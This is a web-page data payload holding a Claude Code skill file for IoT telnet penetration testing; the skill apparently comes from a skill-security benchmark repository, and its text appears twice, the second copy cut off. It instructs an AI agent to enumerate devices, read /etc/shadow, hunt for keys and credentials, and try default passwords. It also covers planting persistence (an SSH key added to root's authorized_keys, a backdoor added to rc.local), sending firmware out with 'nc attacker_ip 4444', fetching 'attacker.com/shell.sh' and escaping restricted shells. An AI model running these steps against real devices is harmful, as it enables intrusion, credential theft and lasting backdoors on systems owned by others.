[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71FX4HS2XYQSWH75D8S5JPK":3,"skill-same:01M71FX4HS2XYQSWH75D8S5JPK":100},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":22,"publishedAt":42,"linkOnly":43,"markdownContent":44,"markdownBody":45,"frontMatter":46,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":50,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":53,"install":54,"resources":67},"01M71FX4HS2XYQSWH75D8S5JPK","telnetshell",null,"Use telnet to interact with IoT device shells for pentesting operations including device enumeration, vulnerability discovery, credential testing, and post-exploitation. Use when the user needs to interact with network-accessible shells, IoT devices, or telnet services.","JSGforever\u002Fskillguard","JSGforever","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F85541948?v=4","01M71FQD3E132VMR5F4TAYX3YS","01M71FQD4DYW0XJ4XQ4YQH75Y9",2,"GPL-3.0","https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__BrownFineSecurity--telnetshell\u002FSKILL.md",[17],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[5,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41],"pentesting","device","credential","enumeration","operations","services","exploitation","post","with","iot","use","devices","discovery","for","post-exploitation","network","vulnerability","when","testing","2026-11-10 10:12:30",false,"---\nname: telnetshell\ndescription: Use telnet to interact with IoT device shells for pentesting operations including device enumeration, vulnerability discovery, credential testing, and post-exploitation. Use when the user needs to interact with network-accessible shells, IoT devices, or telnet services.\n---\n\n# IoT Telnet Shell (telnetshell)\n\nThis skill enables interaction with IoT device shells accessible via telnet for security testing and penetration testing operations. It supports unauthenticated shells, weak authentication testing, device enumeration, and post-exploitation activities.\n\n## Prerequisites\n\n- Python 3 with pexpect library (`pip install pexpect` or `sudo pacman -S python-pexpect`)\n- telnet client installed on the system (`sudo pacman -S inetutils` on Arch)\n- Network access to the target device's telnet port\n\n## Recommended Approach: Telnet Helper Script\n\n**IMPORTANT**: This skill includes a Python helper script (`telnet_helper.py`) that provides a clean, reliable interface for telnet communication. **This is the RECOMMENDED method** for interacting with IoT devices.\n\n### Default Session Logging\n\n**ALL commands run by Claude will be logged to `\u002Ftmp\u002Ftelnet_session.log` by default.**\n\nTo observe what Claude is doing in real-time:\n```bash\n# In a separate terminal, run:\ntail -f \u002Ftmp\u002Ftelnet_session.log\n```\n\nThis allows you to watch all telnet I\u002FO as it happens without interfering with the connection.\n\n### Why Use the Telnet Helper?\n\nThe helper script solves many problems with direct telnet usage:\n- **Clean output**: Automatically removes command echoes, prompts, and ANSI codes\n- **Prompt detection**: Automatically detects and waits for device prompts\n- **Timeout handling**: Proper timeout management with no arbitrary sleeps\n- **Easy scripting**: Simple command-line interface for single commands or batch operations\n- **Session logging**: All I\u002FO logged to `\u002Ftmp\u002Ftelnet_session.log` for observation\n- **Reliable**: No issues with TTY requirements or background processes\n- **JSON output**: For programmatic parsing and tool chaining\n\n### Quick Start with Telnet Helper\n\n**Single Command:**\n```bash\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --command \"uname -a\"\n```\n\n**Custom Port:**\n```bash\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --port 2222 --command \"ls \u002F\"\n```\n\n**With Custom Prompt (recommended for known devices):**\n```bash\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --prompt \"^\u002F [#\\$]\" --command \"ifconfig\"\n```\n\n**Interactive Mode:**\n```bash\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --port 2222 --interactive\n```\n\n**Batch Commands from File:**\n```bash\n# Create a file with commands (one per line)\necho -e \"uname -a\\ncat \u002Fproc\u002Fversion\\nifconfig\\nps\" > commands.txt\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --script commands.txt\n```\n\n**JSON Output (for parsing):**\n```bash\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --command \"uname -a\" --json\n```\n\n**Debug Mode:**\n```bash\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --command \"ls\" --debug\n```\n\n**Session Logging (for observation):**\n```bash\n# Terminal 1 - Run with logging\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py \\\n  --host 192.168.1.100 \\\n  --port 2222 \\\n  --logfile \u002Ftmp\u002Fsession.log \\\n  --interactive\n\n# Terminal 2 - Watch the session in real-time\ntail -f \u002Ftmp\u002Fsession.log\n```\n\n**Note:** See `OBSERVING_SESSIONS.md` for comprehensive guide on monitoring telnet sessions.\n\n### Telnet Helper Options\n\n```\nRequired (one of):\n  --command, -c CMD         Execute single command\n  --interactive, -i         Enter interactive mode\n  --script, -s FILE         Execute commands from file\n\nConnection Options:\n  --host, -H HOST           Target host IP or hostname (required)\n  --port, -P PORT           Telnet port (default: 23)\n  --timeout, -t SECONDS     Command timeout (default: 3.0)\n  --prompt, -p PATTERN      Custom prompt regex pattern\n\nOutput Options:\n  --raw, -r                 Don't clean output (show echoes, prompts)\n  --json, -j                Output in JSON format\n  --logfile, -l FILE        Log all I\u002FO to file (default: \u002Ftmp\u002Ftelnet_session.log)\n  --debug                   Show debug information\n```\n\n### Common Prompt Patterns\n\nThe helper script includes common prompt patterns, but you can specify custom ones:\n\n```bash\n# BusyBox shell (common on IoT)\n--prompt \"\u002F\\s*[#\\$]\\s*$\"\n\n# Standard root\u002Fuser prompts\n--prompt \"^[#\\$]\\s*$\"\n\n# Custom device\n--prompt \"^MyDevice>\\s*$\"\n\n# Uniview cameras\n--prompt \"^User@[^>]+>\\s*$\"\n```\n\n### Device Enumeration Example with Telnet Helper\n\nHere's a complete example of safely enumerating a device:\n\n```bash\n# Set variables for convenience\nHELPER=\"python3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py\"\nHOST=\"192.168.1.100\"\nPORT=\"2222\"\nLOGFILE=\"\u002Ftmp\u002Ftelnet_session.log\"\n\n# System information\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"uname -a\"\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"cat \u002Fproc\u002Fversion\"\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"cat \u002Fproc\u002Fcpuinfo\"\n\n# Check for BusyBox\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"busybox\"\n\n# Network configuration\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"ifconfig\"\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"route -n\"\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"netstat -tulpn\"\n\n# Process listing (may need longer timeout)\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --timeout 5 --command \"ps aux\"\n\n# File system exploration\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"ls -la \u002F\"\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"mount\"\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"df -h\"\n\n# Security assessment\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"cat \u002Fetc\u002Fpasswd\"\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"find \u002F -perm -4000 2>\u002Fdev\u002Fnull\"\n```\n\n**IMPORTANT FOR CLAUDE CODE**: When using this skill, ALWAYS include `--logfile \u002Ftmp\u002Ftelnet_session.log` in every command so the user can monitor activity with `tail -f \u002Ftmp\u002Ftelnet_session.log`.\n\n## Instructions\n\n### 1. Connection Setup\n\n**Default connection:**\n- **Port**: 23 (standard telnet, override with `--port`)\n- **Timeout**: 3 seconds (override with `--timeout`)\n- **Logging**: `\u002Ftmp\u002Ftelnet_session.log` by default\n\n**Common telnet ports on IoT devices:**\n- 23: Standard telnet port\n- 2222: Alternative telnet port (common on cameras)\n- 8023: Alternative telnet port\n- Custom ports: Check device documentation or nmap scan results\n\n### 2. BusyBox Shells (Most IoT Devices)\n\n**IMPORTANT**: The vast majority of IoT devices use BusyBox, a lightweight suite of Unix utilities designed for embedded systems. BusyBox provides a minimal shell environment with limited command functionality.\n\n**Identifying BusyBox:**\n```bash\n# Check what shell you're using\nbusybox\nbusybox --help\n\n# Or check symlinks\nls -la \u002Fbin\u002Fsh\n# Often shows: \u002Fbin\u002Fsh -> \u002Fbin\u002Fbusybox\n\n# List available BusyBox applets\nbusybox --list\n```\n\n**BusyBox Limitations:**\n- Many standard Linux commands may be simplified versions\n- Some common flags\u002Foptions may not be available\n- Features like tab completion may be limited or absent\n- Some exploitation techniques that work on full Linux may not work\n\n**Common BusyBox commands available:**\n```bash\n# Core utilities (usually available)\ncat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown\nps, kill, top, free, df, mount, umount\ngrep, find, sed, awk (limited versions)\nifconfig, route, ping, netstat, telnet\nvi (basic text editor - no syntax highlighting)\n\n# Check what's available\nbusybox --list | sort\nls \u002Fbin \u002Fsbin \u002Fusr\u002Fbin \u002Fusr\u002Fsbin\n```\n\n**BusyBox-specific considerations for pentesting:**\n- `ps` output format may differ from standard Linux\n- Some privilege escalation techniques require commands not in BusyBox\n- File permissions still work the same (SUID, sticky bits, etc.)\n- Networking tools are often present (telnet, wget, nc\u002Fnetcat, ftpget)\n- Python\u002FPerl\u002FRuby are usually NOT available (device storage constraints)\n\n**Useful BusyBox commands for enumeration:**\n```bash\n# Check BusyBox version (may have known vulnerabilities)\nbusybox | head -1\n\n# Network utilities often available\nnc -l -p 4444  # Netcat listener\nwget http:\u002F\u002Fattacker.com\u002Fshell.sh\nftpget server file\ntelnet 192.168.1.1\n\n# httpd (web server) often included\nbusybox httpd -p 8080 -h \u002Ftmp  # Quick file sharing\n```\n\n### 3. Device Enumeration\n\nOnce you have shell access, gather the following information:\n\n**System Information:**\n```bash\n# Kernel and system info\nuname -a\ncat \u002Fproc\u002Fversion\ncat \u002Fproc\u002Fcpuinfo\ncat \u002Fproc\u002Fmeminfo\n\n# Distribution\u002Ffirmware info\ncat \u002Fetc\u002Fissue\ncat \u002Fetc\u002F*release*\ncat \u002Fetc\u002F*version*\n\n# Hostname and network\nhostname\ncat \u002Fetc\u002Fhostname\nifconfig -a\ncat \u002Fetc\u002Fnetwork\u002Finterfaces\ncat \u002Fetc\u002Fresolv.conf\n\n# Mounted filesystems\nmount\ncat \u002Fproc\u002Fmounts\ndf -h\n\n# Running processes\nps aux\nps -ef\ntop -b -n 1\n```\n\n**User and Permission Information:**\n```bash\n# Current user context\nid\nwhoami\ngroups\n\n# User accounts\ncat \u002Fetc\u002Fpasswd\ncat \u002Fetc\u002Fshadow  # If readable - major security issue!\ncat \u002Fetc\u002Fgroup\n\n# Sudo\u002Fprivilege info\nsudo -l\ncat \u002Fetc\u002Fsudoers\n```\n\n**Network Services:**\n```bash\n# Listening services\nnetstat -tulpn\nlsof -i\n\n# Firewall rules\niptables -L -n -v\ncat \u002Fetc\u002Fiptables\u002F*\n```\n\n**Interesting Files and Directories:**\n```bash\n# Configuration files\nls -la \u002Fetc\u002F\nfind \u002Fetc\u002F -type f -readable\n\n# Web server configs\nls -la \u002Fetc\u002Fnginx\u002F\nls -la \u002Fetc\u002Fapache2\u002F\nls -la \u002Fvar\u002Fwww\u002F\n\n# Credentials and keys\nfind \u002F -name \"*.pem\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"*.key\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"*password*\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"*credential*\" 2>\u002Fdev\u002Fnull\ngrep -r \"password\" \u002Fetc\u002F 2>\u002Fdev\u002Fnull\n\n# SUID\u002FSGID binaries (privilege escalation vectors)\nfind \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull\nfind \u002F -perm -2000 -type f 2>\u002Fdev\u002Fnull\n\n# World-writable files\u002Fdirectories\nfind \u002F -perm -2 -type f 2>\u002Fdev\u002Fnull\nfind \u002F -perm -2 -type d 2>\u002Fdev\u002Fnull\n\n# Development\u002Fdebugging tools\nwhich gdb gcc python perl ruby tcpdump\nls \u002Fusr\u002Fbin\u002F \u002Fbin\u002F \u002Fsbin\u002F \u002Fusr\u002Fsbin\u002F\n```\n\n### 4. Privilege Escalation (if not root)\n\n**Check for common vulnerabilities:**\n```bash\n# Kernel exploits\nuname -r  # Check kernel version for known exploits\n\n# Check for exploitable services\nps aux | grep root\n\n# Writable service files\nfind \u002Fetc\u002Finit.d\u002F -writable 2>\u002Fdev\u002Fnull\n\n# Cron jobs\ncrontab -l\nls -la \u002Fetc\u002Fcron*\ncat \u002Fetc\u002Fcrontab\n```\n\n### 5. Persistence and Further Access\n\n**Establish additional access methods:**\n```bash\n# Add SSH access (if SSH is available)\nmkdir -p \u002Froot\u002F.ssh\necho \"your_ssh_public_key\" >> \u002Froot\u002F.ssh\u002Fauthorized_keys\nchmod 600 \u002Froot\u002F.ssh\u002Fauthorized_keys\nchmod 700 \u002Froot\u002F.ssh\n\n# Start SSH service (if not running)\n\u002Fetc\u002Finit.d\u002Fssh start\n# or\n\u002Fetc\u002Finit.d\u002Fsshd start\n# or\n\u002Fetc\u002Finit.d\u002Fdropbear start  # Common on embedded devices\n\n# Add to startup scripts\necho \"\u002Fpath\u002Fto\u002Fbackdoor &\" >> \u002Fetc\u002Frc.local\n```\n\n### 6. Firmware Extraction\n\n**Extract firmware for offline analysis:**\n```bash\n# Find MTD partitions (common on embedded devices)\ncat \u002Fproc\u002Fmtd\ncat \u002Fproc\u002Fpartitions\n\n# Dump flash partitions\ndd if=\u002Fdev\u002Fmtd0 of=\u002Ftmp\u002Fbootloader.bin\ndd if=\u002Fdev\u002Fmtd1 of=\u002Ftmp\u002Fkernel.bin\ndd if=\u002Fdev\u002Fmtd2 of=\u002Ftmp\u002Frootfs.bin\n\n# Copy to external storage or network\n# If network is available:\nnc attacker_ip 4444 \u003C \u002Ftmp\u002Frootfs.bin\n\n# If HTTP server is available:\ncd \u002Ftmp\nbusybox httpd -p 8000\n# Then download from http:\u002F\u002Fdevice_ip:8000\u002Frootfs.bin\n```\n\n## Common IoT Device Scenarios\n\n### Scenario 1: No Authentication Shell\n```bash\n# Connect - drops directly to root shell\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --interactive\n# Enumerate and exploit\n```\n\n### Scenario 2: Custom Port No-Auth Shell\n```bash\n# Many IoT cameras use port 2222\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --port 2222 --interactive\n```\n\n### Scenario 3: Password-Protected Shell\n```bash\n# If you encounter a password prompt, the helper will detect it\n# Try default credentials:\n# - root\u002Froot\n# - admin\u002Fadmin\n# - root\u002F(empty)\n# Search online for device-specific defaults\n```\n\n### Scenario 4: Limited Shell Escape\n```bash\n# If you get a limited shell:\n# Try common escape techniques:\necho $SHELL\n\u002Fbin\u002Fsh\n\u002Fbin\u002Fbash\nvi  # Then :!\u002Fbin\u002Fsh\nless \u002Fetc\u002Fpasswd  # Then !\u002Fbin\u002Fsh\nfind \u002F -exec \u002Fbin\u002Fsh \\;\nawk 'BEGIN {system(\"\u002Fbin\u002Fsh\")}'\n```\n\n## Security Testing Checklist\n\n- [ ] Identify device and firmware version\n- [ ] Check for unauthenticated access\n- [ ] Test for default\u002Fweak credentials\n- [ ] Enumerate network services and open ports\n- [ ] Check for hardcoded credentials in files\n- [ ] Test for command injection vulnerabilities\n- [ ] Check file permissions (SUID, world-writable)\n- [ ] Check for outdated software with known CVEs\n- [ ] Test for privilege escalation vectors\n- [ ] Extract firmware for offline analysis\n- [ ] Document all findings with screenshots\u002Flogs\n\n## Best Practices\n\n1. **Always log your session**: Default logfile is `\u002Ftmp\u002Ftelnet_session.log`\n2. **Document everything**: Take notes on commands, responses, and findings\n3. **Use batch scripts**: Create enumeration scripts for common tasks\n4. **Research the device**: Look up known vulnerabilities, default credentials, and common issues\n5. **Use proper authorization**: Only perform pentesting on devices you own or have explicit permission to test\n6. **Be careful with destructive commands**: Avoid commands that could brick devices or corrupt data\n7. **Monitor your session**: Use `tail -f` in another terminal to watch activity\n\n## Troubleshooting\n\n**Problem: Connection refused**\n- Solution: Check if telnet service is running, verify port number, check firewall rules\n\n**Problem: Connection timeout**\n- Solution: Verify network connectivity, check if device is powered on, verify IP address\n\n**Problem: \"Permission denied\"**\n- Solution: Telnet service may require authentication, try default credentials\n\n**Problem: Commands not echoing**\n- Solution: Use `--raw` flag to see unfiltered output\n\n**Problem: Garbled output or wrong prompt detection**\n- Solution: Use `--prompt` flag with custom regex pattern for your specific device\n\n## Pre-built Enumeration Scripts\n\nThe skill includes pre-built enumeration scripts for common tasks:\n\n- `enum_system.txt`: System information gathering\n- `enum_network.txt`: Network configuration enumeration\n- `enum_files.txt`: File system exploration\n- `enum_security.txt`: Security-focused enumeration\n\n**Usage:**\n```bash\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py \\\n  --host 192.168.1.100 \\\n  --port 2222 \\\n  --script .claude\u002Fskills\u002Ftelnetshell\u002Fenum_system.txt\n```\n\n## Example Usage\n\n```bash\n# Basic connection to standard telnet port\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --command \"uname -a\"\n\n# Connection to custom port (common for IoT cameras)\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --port 2222 --command \"ls \u002F\"\n\n# Interactive session with logging\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py \\\n  --host 192.168.1.100 \\\n  --port 2222 \\\n  --logfile \u002Ftmp\u002Fcamera_session.log \\\n  --interactive\n\n# Batch enumeration\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py \\\n  --host 192.168.1.100 \\\n  --port 2222 \\\n  --script enum_system.txt \\\n  --json > results.json\n\n# Long-running command with custom timeout\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py \\\n  --host 192.168.1.100 \\\n  --timeout 10 \\\n  --command \"find \u002F -name '*.conf'\"\n```\n\n## References\n\n- [BusyBox Official Site](https:\u002F\u002Fbusybox.net\u002F)\n- [BusyBox Command List](https:\u002F\u002Fbusybox.net\u002Fdownloads\u002FBusyBox.html)\n- IoT pentesting resources and vulnerability databases\n- Device-specific documentation and datasheets\n","# IoT Telnet Shell (telnetshell)\n\nThis skill enables interaction with IoT device shells accessible via telnet for security testing and penetration testing operations. It supports unauthenticated shells, weak authentication testing, device enumeration, and post-exploitation activities.\n\n## Prerequisites\n\n- Python 3 with pexpect library (`pip install pexpect` or `sudo pacman -S python-pexpect`)\n- telnet client installed on the system (`sudo pacman -S inetutils` on Arch)\n- Network access to the target device's telnet port\n\n## Recommended Approach: Telnet Helper Script\n\n**IMPORTANT**: This skill includes a Python helper script (`telnet_helper.py`) that provides a clean, reliable interface for telnet communication. **This is the RECOMMENDED method** for interacting with IoT devices.\n\n### Default Session Logging\n\n**ALL commands run by Claude will be logged to `\u002Ftmp\u002Ftelnet_session.log` by default.**\n\nTo observe what Claude is doing in real-time:\n```bash\n# In a separate terminal, run:\ntail -f \u002Ftmp\u002Ftelnet_session.log\n```\n\nThis allows you to watch all telnet I\u002FO as it happens without interfering with the connection.\n\n### Why Use the Telnet Helper?\n\nThe helper script solves many problems with direct telnet usage:\n- **Clean output**: Automatically removes command echoes, prompts, and ANSI codes\n- **Prompt detection**: Automatically detects and waits for device prompts\n- **Timeout handling**: Proper timeout management with no arbitrary sleeps\n- **Easy scripting**: Simple command-line interface for single commands or batch operations\n- **Session logging**: All I\u002FO logged to `\u002Ftmp\u002Ftelnet_session.log` for observation\n- **Reliable**: No issues with TTY requirements or background processes\n- **JSON output**: For programmatic parsing and tool chaining\n\n### Quick Start with Telnet Helper\n\n**Single Command:**\n```bash\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --command \"uname -a\"\n```\n\n**Custom Port:**\n```bash\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --port 2222 --command \"ls \u002F\"\n```\n\n**With Custom Prompt (recommended for known devices):**\n```bash\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --prompt \"^\u002F [#\\$]\" --command \"ifconfig\"\n```\n\n**Interactive Mode:**\n```bash\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --port 2222 --interactive\n```\n\n**Batch Commands from File:**\n```bash\n# Create a file with commands (one per line)\necho -e \"uname -a\\ncat \u002Fproc\u002Fversion\\nifconfig\\nps\" > commands.txt\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --script commands.txt\n```\n\n**JSON Output (for parsing):**\n```bash\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --command \"uname -a\" --json\n```\n\n**Debug Mode:**\n```bash\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py --host 192.168.1.100 --command \"ls\" --debug\n```\n\n**Session Logging (for observation):**\n```bash\n# Terminal 1 - Run with logging\npython3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py \\\n  --host 192.168.1.100 \\\n  --port 2222 \\\n  --logfile \u002Ftmp\u002Fsession.log \\\n  --interactive\n\n# Terminal 2 - Watch the session in real-time\ntail -f \u002Ftmp\u002Fsession.log\n```\n\n**Note:** See `OBSERVING_SESSIONS.md` for comprehensive guide on monitoring telnet sessions.\n\n### Telnet Helper Options\n\n```\nRequired (one of):\n  --command, -c CMD         Execute single command\n  --interactive, -i         Enter interactive mode\n  --script, -s FILE         Execute commands from file\n\nConnection Options:\n  --host, -H HOST           Target host IP or hostname (required)\n  --port, -P PORT           Telnet port (default: 23)\n  --timeout, -t SECONDS     Command timeout (default: 3.0)\n  --prompt, -p PATTERN      Custom prompt regex pattern\n\nOutput Options:\n  --raw, -r                 Don't clean output (show echoes, prompts)\n  --json, -j                Output in JSON format\n  --logfile, -l FILE        Log all I\u002FO to file (default: \u002Ftmp\u002Ftelnet_session.log)\n  --debug                   Show debug information\n```\n\n### Common Prompt Patterns\n\nThe helper script includes common prompt patterns, but you can specify custom ones:\n\n```bash\n# BusyBox shell (common on IoT)\n--prompt \"\u002F\\s*[#\\$]\\s*$\"\n\n# Standard root\u002Fuser prompts\n--prompt \"^[#\\$]\\s*$\"\n\n# Custom device\n--prompt \"^MyDevice>\\s*$\"\n\n# Uniview cameras\n--prompt \"^User@[^>]+>\\s*$\"\n```\n\n### Device Enumeration Example with Telnet Helper\n\nHere's a complete example of safely enumerating a device:\n\n```bash\n# Set variables for convenience\nHELPER=\"python3 .claude\u002Fskills\u002Ftelnetshell\u002Ftelnet_helper.py\"\nHOST=\"192.168.1.100\"\nPORT=\"2222\"\nLOGFILE=\"\u002Ftmp\u002Ftelnet_session.log\"\n\n# System information\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"uname -a\"\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"cat \u002Fproc\u002Fversion\"\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"cat \u002Fproc\u002Fcpuinfo\"\n\n# Check for BusyBox\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"busybox\"\n\n# Network configuration\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"ifconfig\"\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"route -n\"\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"netstat -tulpn\"\n\n# Process listing (may need longer timeout)\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --timeout 5 --command \"ps aux\"\n\n# File system exploration\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"ls -la \u002F\"\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"mount\"\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"df -h\"\n\n# Security assessment\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"cat \u002Fetc\u002Fpasswd\"\n$HELPER --host $HOST --port $PORT --logfile \"$LOGFILE\" --command \"find \u002F -perm -4000 2>\u002Fdev\u002Fnull\"\n```\n\n**IMPORTANT FOR CLAUDE CODE**: When using this skill, ALWAYS include `--logfile \u002Ftmp\u002Ftelnet_session.log` in every command so the user can monitor activity with `tail -f \u002Ftmp\u002Ftelnet_session.log`.\n\n## Instructions\n\n### 1. Connection Setup\n\n**Default connection:**\n- **Port**: 23 (standard telnet, override with `--port`)\n- **Timeout**: 3 seconds (override with `--timeout`)\n- **Logging**: `\u002Ftmp\u002Ftelnet_session.log` by default\n\n**Common telnet ports on IoT devices:**\n- 23: Standard telnet port\n- 2222: Alternative telnet port (common on cameras)\n- 8023: Alternative telnet port\n- Custom ports: Check device documentation or nmap scan results\n\n### 2. BusyBox Shells (Most IoT Devices)\n\n**IMPORTANT**: The vast majority of IoT devices use BusyBox, a lightweight suite of Unix utilities designed for embedded systems. BusyBox provides a minimal shell environment with limited command functionality.\n\n**Identifying BusyBox:**\n```bash\n# Check what shell you're using\nbusybox\nbusybox --help\n\n# Or check symlinks\nls -la \u002Fbin\u002Fsh\n# Often shows: \u002Fbin\u002Fsh -> \u002Fbin\u002Fbusybox\n\n# List available BusyBox applets\nbusybox --list\n```\n\n**BusyBox Limitations:**\n- Many standard Linux commands may be simplified versions\n- Some common flags\u002Foptions may not be available\n- Features like tab completion may be limited or absent\n- Some exploitation techniques that work on full Linux may not work\n\n**Common BusyBox commands available:**\n```bash\n# Core utilities (usually available)\ncat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown\nps, kill, top, free, df, mount, umount\ngrep, find, sed, awk (limited versions)\nifconfig, route, ping, netstat, telnet\nvi (basic text editor - no syntax highlighting)\n\n# Check what's available\nbusybox --list | sort\nls \u002Fbin \u002Fsbin \u002Fusr\u002Fbin \u002Fusr\u002Fsbin\n```\n\n**BusyBox-specific considerations for pentesting:**\n- `ps` output format may differ from standard Linux\n- Some privilege escalation techniques require commands not in BusyBox\n- File permissions still work the same (SUID, sticky bits, etc.)\n- Networking tools are often present (telnet, wget, nc\u002Fnetcat, ftpget)\n- Python\u002FPerl\u002FRuby are usually NOT available (device storage constraints)\n\n**Useful BusyBox commands for enumeration:**\n```bash\n# Check BusyBox version (may have known vulnerabilities)\nbusybox | head -1\n\n# Network utilities often available\nnc -l -p 4444  # Netcat listener\nwget http:\u002F\u002Fattacker.com\u002Fshell.sh\nftpget server file\ntelnet 192.168.1.1\n\n# httpd (web server) often included\nbusybox httpd -p 8080 -h \u002Ftmp  # Quick file sharing\n```\n\n### 3. Device Enumeration\n\nOnce you have shell access, gather the following information:\n\n**System Information:**\n```bash\n# Kernel and system info\nuname -a\ncat \u002Fproc\u002Fversion\ncat \u002Fproc\u002Fcpuinfo\ncat \u002Fproc\u002Fmeminfo\n\n# Distribution\u002Ffirmware info\ncat \u002Fetc\u002Fissue\ncat \u002Fetc\u002F*release*\ncat \u002Fetc\u002F*version*\n\n# Hostname and network\nhostname\ncat \u002Fetc\u002Fhostname\nifconfig -a\ncat \u002Fetc\u002Fnetwork\u002Finterfaces\ncat \u002Fetc\u002Fresolv.conf\n\n# Mounted filesystems\nmount\ncat \u002Fproc\u002Fmounts\ndf -h\n\n# Running processes\nps aux\nps -ef\ntop -b -n 1\n```\n\n**User and Permission Information:**\n```bash\n# Current user context\nid\nwhoami\ngroups\n\n# User accounts\ncat \u002Fetc\u002Fpasswd\ncat \u002Fetc\u002Fshadow  # If readable - major security issue!\ncat \u002Fetc\u002Fgroup\n\n# Sudo\u002Fprivilege info\nsudo -l\ncat \u002Fetc\u002Fsudoers\n```\n\n**Network Services:**\n```bash\n# Listening services\nnetstat -tulpn\nlsof -i\n\n# Firewall rules\niptables -L -n -v\ncat \u002Fetc\u002Fiptables\u002F*\n```\n\n**Interesting Files and Directories:**\n```bash\n# Configuration files\nls -la \u002Fetc\u002F\nfind \u002Fetc\u002F -type f -readable\n\n# Web server configs\nls -la \u002Fetc\u002Fnginx\u002F\nls -la \u002Fetc\u002Fapache2\u002F\nls -la \u002Fvar\u002Fwww\u002F\n\n# Credentials and keys\nfind \u002F -name \"*.pem\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"*.key\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"*password*\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"*credential*\" 2>\u002Fdev\u002Fnull\ngrep -r \"password\" \u002Fetc\u002F 